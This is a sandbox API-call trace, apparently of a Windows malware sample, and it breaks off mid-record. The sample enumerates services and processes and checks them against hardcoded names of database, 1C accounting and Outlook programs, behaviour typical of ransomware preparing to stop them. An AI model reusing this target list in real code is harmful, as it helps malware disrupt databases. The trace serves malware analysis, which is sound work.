lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0223.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0223.884] lstrlenW (lpString="LanmanWorkstation") returned 17 [0223.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.884] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0223.884] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0223.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0223.884] lstrlenW (lpString="lmhosts") returned 7 [0223.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0223.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0223.884] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0223.884] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0223.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0223.885] lstrlenW (lpString="MMCSS") returned 5 [0223.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0223.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0223.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0223.886] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0223.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0223.886] lstrlenW (lpString="MpsSvc") returned 6 [0223.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0223.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0223.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0223.886] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0223.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0223.886] lstrlenW (lpString="nsi") returned 3 [0223.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0223.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0223.886] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0223.887] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0223.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0223.887] lstrlenW (lpString="PlugPlay") returned 8 [0223.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0223.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0223.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0223.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0223.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0223.887] lstrlenW (lpString="Power") returned 5 [0223.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0223.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0223.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0223.887] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0223.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0223.887] lstrlenW (lpString="ProfSvc") returned 7 [0223.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0223.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0223.888] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0223.888] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0223.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0223.888] lstrlenW (lpString="RpcEptMapper") returned 12 [0223.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0223.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0223.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0223.888] lstrlenW (lpString="RpcSs") returned 5 [0223.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0223.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0223.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0223.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0223.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0223.889] lstrlenW (lpString="SamSs") returned 5 [0223.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0223.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0223.889] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0223.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0223.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0223.889] lstrlenW (lpString="Schedule") returned 8 [0223.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0223.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0223.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0223.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0223.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0223.889] lstrlenW (lpString="SENS") returned 4 [0223.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0223.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0223.890] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0223.890] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0223.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0223.890] lstrlenW (lpString="ShellHWDetection") returned 16 [0223.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.890] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0223.890] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0223.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0223.890] lstrlenW (lpString="Spooler") returned 7 [0223.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0223.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0223.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0223.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0223.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0223.891] lstrlenW (lpString="Themes") returned 6 [0223.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0223.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0223.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0223.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0223.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0223.891] lstrlenW (lpString="UxSms") returned 5 [0223.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0223.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0223.891] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0223.891] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0223.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0223.892] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0223.892] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0223.898] Process32FirstW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.899] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.900] lstrlenW (lpString="System") returned 6 [0223.900] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0223.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0223.900] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0223.900] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0223.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0223.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0223.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0223.900] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.902] lstrlenW (lpString="smss.exe") returned 8 [0223.902] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0223.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0223.902] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0223.902] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0223.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0223.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0223.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0223.902] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.903] lstrlenW (lpString="csrss.exe") returned 9 [0223.903] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0223.903] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0223.903] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0223.903] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0223.903] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0223.903] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0223.903] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0223.904] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.904] lstrlenW (lpString="wininit.exe") returned 11 [0223.904] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0223.905] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0223.905] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0223.905] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0223.905] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0223.905] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0223.905] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0223.905] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.906] lstrlenW (lpString="csrss.exe") returned 9 [0223.906] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0223.906] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0223.906] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0223.906] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0223.906] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0223.906] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0223.906] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0223.906] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.907] lstrlenW (lpString="winlogon.exe") returned 12 [0223.907] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0223.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0223.907] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0223.907] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0223.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0223.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0223.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0223.908] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.909] lstrlenW (lpString="services.exe") returned 12 [0223.909] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0223.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0223.909] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0223.909] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0223.909] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0223.909] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0223.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0223.909] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.910] lstrlenW (lpString="lsass.exe") returned 9 [0223.910] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0223.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0223.910] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0223.910] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0223.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0223.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0223.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0223.911] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.911] lstrlenW (lpString="lsm.exe") returned 7 [0223.911] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0223.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0223.912] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0223.912] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0223.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0223.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0223.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0223.912] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.913] lstrlenW (lpString="svchost.exe") returned 11 [0223.913] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.913] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.913] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.913] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.913] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.913] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.913] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.914] lstrlenW (lpString="svchost.exe") returned 11 [0223.914] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.914] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.914] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.914] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.915] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.915] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.915] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.916] lstrlenW (lpString="svchost.exe") returned 11 [0223.916] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.916] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.916] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.916] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.916] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0224.142] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0224.142] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0224.142] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.143] lstrlenW (lpString="svchost.exe") returned 11 [0224.143] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0224.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0224.143] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0224.143] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0224.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0224.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0224.143] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0224.143] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.144] lstrlenW (lpString="svchost.exe") returned 11 [0224.144] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0224.144] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0224.144] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0224.144] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0224.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0224.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0224.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0224.145] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.146] lstrlenW (lpString="audiodg.exe") returned 11 [0224.146] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0224.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0224.146] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0224.146] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0224.146] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0224.146] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0224.146] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0224.146] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.147] lstrlenW (lpString="svchost.exe") returned 11 [0224.147] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0224.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0224.147] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0224.147] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0224.148] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0224.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0224.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0224.148] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0224.149] lstrlenW (lpString="userinit.exe") returned 12 [0224.149] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0224.149] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0224.149] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.151] lstrlenW (lpString="explorer.exe") returned 12 [0224.151] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.152] lstrlenW (lpString="dwm.exe") returned 7 [0224.152] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.153] lstrlenW (lpString="svchost.exe") returned 11 [0224.153] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0224.154] lstrlenW (lpString="winhost.exe") returned 11 [0224.154] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.154] lstrlenW (lpString="spoolsv.exe") returned 11 [0224.155] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0224.155] lstrlenW (lpString="dllhost.exe") returned 11 [0224.156] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.156] lstrlenW (lpString="svchost.exe") returned 11 [0224.157] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, 